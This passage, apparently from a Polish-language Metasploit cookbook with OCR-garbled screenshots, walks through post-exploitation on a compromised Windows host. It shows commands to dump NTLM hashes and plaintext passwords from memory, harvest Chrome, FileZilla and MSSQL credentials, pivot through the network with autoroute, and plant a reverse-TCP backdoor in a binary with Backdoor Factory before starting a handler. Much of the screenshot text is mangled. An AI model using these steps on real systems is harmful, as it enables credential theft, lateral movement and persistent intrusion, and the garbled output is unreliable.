retrieve msv creds (hashes)
retrieve ssp creds
retrieve tspkg creds

retrieve wdigest creds

3. Teraz, aby odzyskac¢ hasta z pamieci, uzywamy wbudowanego polecenia Metasploit:

msv



5 NTLM
2e }, ntim{ 31déc

NTLM WIN-

s }, ntim{ 31déc
Negotiate WOR
Negotiate NT
NTLM

NTLM WOR

meterpreter > fi

febdlbae

KGROUP

AUTHORITY LOCAL JERVILE 8 (lrod-rt-a

KGROUP WIN-UH33210

UH332I6CDhO08 ngsboﬁr ' [ 2aad3b435b51404eeaad3b435
feBdléae9?lc73c59d/c0cO

( aad3b435b51404ceaad3b435

(Credentials KO)
s K0)
s KO)
s

KO)

4. Mozemy zobaczyé, ze hasze NTLM sg wyswietlane na ekranie. Aby wyswietli¢ dane uwierzytelniajace

Kerberos, wpisujemy to:

kerberos

> kerber
[+] Running as SYSTE
[*] Retrieving kerbe

0,;76485

0;76445 NTLM
Negotiate
Negotiate
NTLM
NTLM

Zrzucanie innych zapisanych

0S
M
ros credentials

kerberos credentials

WIN-UH332I0CDO8
WIN-UH332I6CD08
NT AUTHORITY
WORKGROUP

WORKGROUP

haset z maszyny

User Password
bugsbounty

bugsbounty

LOCAL SERVICE
WIN-UH33216CD08$

WIN-UH33216CD08%

Juz wiesz, jak zrzucac i zapisywaé hasta w postaci zwyktego tekstu z pamieci. Jednak czasami nie

wszystkie hasta sg zrzucane. Nie martw sie; Metasploit ma inne moduty post-exploitation, za pomoca
ktérych mozemy zbiera¢ zapisane hasta réznych aplikacji i ustug dziatajgcych na serwerze, ktory

zhakowalismy.

Jak to zrobié...

Najpierw sprawdzmy, jakie aplikacje dziatajg na maszynie. Uzywamy tego polecenia:

use post/windows/gather/enum_applications



) > use post/windows/gather/enum_applications

> show options

Module options (post/windows/gather/enum_applications):

Name Current Setting Required

to run this module

Widzimy opcje; teraz potrzebujemy tylko naszej sesji, uzywajac nastepujgcego polecenia:
set session 1

Uruchom je, a zobaczymy liste aplikacji zainstalowanych w systemie:

Teraz, gdy wiemy, jakie aplikacje sg uruchomione, sprébujmy zebra¢ wiecej informacji. Uzyjemy use
post/windows/gather/enum_chrome. Zbierze catg historie przeglagdania, zapisane hasta, zaktadki itd.
Ponownie ustawiamy naszg sesje i uruchamiamy to:

Zobaczymy, ze wszystkie zebrane dane zostaty zapisane w pliku txt:



Teraz sprébujemy zebrac zapisang konfiguracje i dane uwierzytelniajgce serwera FileZilla (serwera FTP,
ktérego mozna uzywac do przesytania plikdw), ktory jest zainstalowany na komputerze. Uzyjemy
modutu:

use post/windows.gather/credentials/filezilla_server

] C

connected or cac

Matching Modules

Name
xiliary/dos/windows/ftp/filezilla_server_port
L of Service
windows/gather/credentials/filezilla server
Credential Collection

Uzyjmy innego modutu post-exploitation, aby zrzuci¢ hasta do bazy danych. Uzyjemy tego:

use exploit/windows/gather/credentials/mssql_local_hashdump

msf > use post/windows/gather/credentials/mssql_local_hashdump
msf post( ) > set SESSION 2

SESSION == 2
msf post( ) > run -j

Ustawiamy sesje i uruchamiamy jg za pomoca run -j. Zobaczymy poswiadczenia na ekranie:



posti ) = run =]
Post module running as background job
[*] Running module against PORTAL
[#] Checking if user is SYSTEM...
[+] User is SYSTEM
[#] Identified service 'SOL Serwver (SOLEXPRESS}', PID: 1792

[#] Attempting to get password hashes...
S3:0x01004D6196F9B5BF9609BL51DTCF47CZC2ZABE2Z1CCA4DAAETIADAL
##MS_PolicyTsqlExecutionLogin##:0x@1008D022A249DF5EF3B79ED321563A1DCCDCACFCSFFISADD2DAF
##MS_PolicyEventProcessinglogin##: 8x0100AEE6E3442FFE469LEE3FEID1S22CF4FG26EFCEOD3DE92E0G
[+] MSSOL password hash saved in: /Users/xXxZombieSenpaixXx,/.msf4/loot/286161119862617_def

Przejscie do sieci

Gdy juz mamy petng kontrole nad komputerem w systemie, naszym nastepnym krokiem powinno by¢
przejscie do sieci i préba wykorzystania i uzyskania dostepu do jak najwiekszej liczby maszyn. W tym
przepisie poznasz fatwy sposdb, aby to zrobié¢ za pomoca Metasploit.

Jak to zrobic...

Metasploit ma wbudowany skrypt meterpreter, ktéry pozwala nam doda¢ trase i umozliwia nam
atakowanie innych maszyn w sieci przy uzyciu biezacej trasy. Koncepcja jest naprawde prosta;
wszystko, co musimy zrobié, to wykonad to:

run autoroute —s <|IP subnet>
FUN autoroudte

Adding a rou
Added route

Lhe -0

Gdy to zrobimy, mozemy po prostu wykorzysta¢c maszyny, uzywajgc tych samych metod, ktére
omoéwilismy w poprzednich przepisach.

Backdooring dla trwatosci

Wazng czescig udanej eksploatacji jest mozliwos¢ zachowania dostepu do zainfekowanej maszyny. W
tym przepisie poznasz niesamowite narzedzie znane jako Backdoor Factory. Gtéwnym celem Backdoor
Factory jest tatanie plikdw binarnych Windows/Linux naszym kodem powtoki, aby plik wykonywalny
dziatat normalnie, a takze wykonywanie naszego kodu powtoki za kazdym razem, gdy jest wykonywany.

Jak to zrobié...

Backdoor Factory jest zainstalowany w Kali. | mozna go uruchomi¢ za pomocga backdoor-factory. Aby
wyswietli¢ wszystkie funkcje tego narzedzia, uzyjemy polecenia help:

backdoor-factory —help



:~# backdoor-factory -h
Usage: backdoor.py [options]

Options:
-h, --help show this help message and exit
-f FILE, --file=FILE File to backdoor
-5 SHELL, shell El

Payloads that are available for use. Use 'show'

tQo see
payloads.
-H HOST, host 1p=HOST
‘ C2 for reverse connections.
-P PORT, --port=PCRT he port to elther connect back to for
hells
1 on for bind shells
-J, --cave_jumping Select ; opticons if you want to use code cave
darther hide your shellcode in the bi

Uzycie tego narzedzia nie jest zbyt trudne; jednak zaleca sie przetestowanie plikéw binarnych przed
ich wdrozeniem w systemie docelowym. Aby zobaczy¢, jakie opcje sg dostepne dla konkretnego pliku
binarnego, ktéry wybieramy do backdoora, uzywamy nastepujacego polecenia:

backdoor-factory —f <$ciezka do pliku binarnego> -s show
Nastepnie uzyjemy iat_reverse_tcp_stager threaded:
backdoor-factory —f <$ciezka do pliku binarnego> -s iat_reverse_tcp_stager_threaded —H

<nasz adres IP> -P <Port>

WinlntaelPE3

Nastepnie wybieramy jaskinie, do ktérej chcemy wstrzykna¢ nasz tadunek:



None End: Nons,; Cave begin:

End: Nome; Cave begin:

) End: 4: Cave begin:
) End: B: Cave begin:

) End: B; Cave begin:
wed ) 1d ITfc: | K :
[ EEE T R RS T £ EEEE T R
[11 Enter vour selection: 1

Nasz plik binarny zostat utworzony i jest gotowy do wdrozenia.

Teraz wystarczy uruchomic¢ procedure obstugi, ktéra bedzie akceptowaé potaczenie odwrotne z
naszego tadunku:

) = set lport 4444

rLun




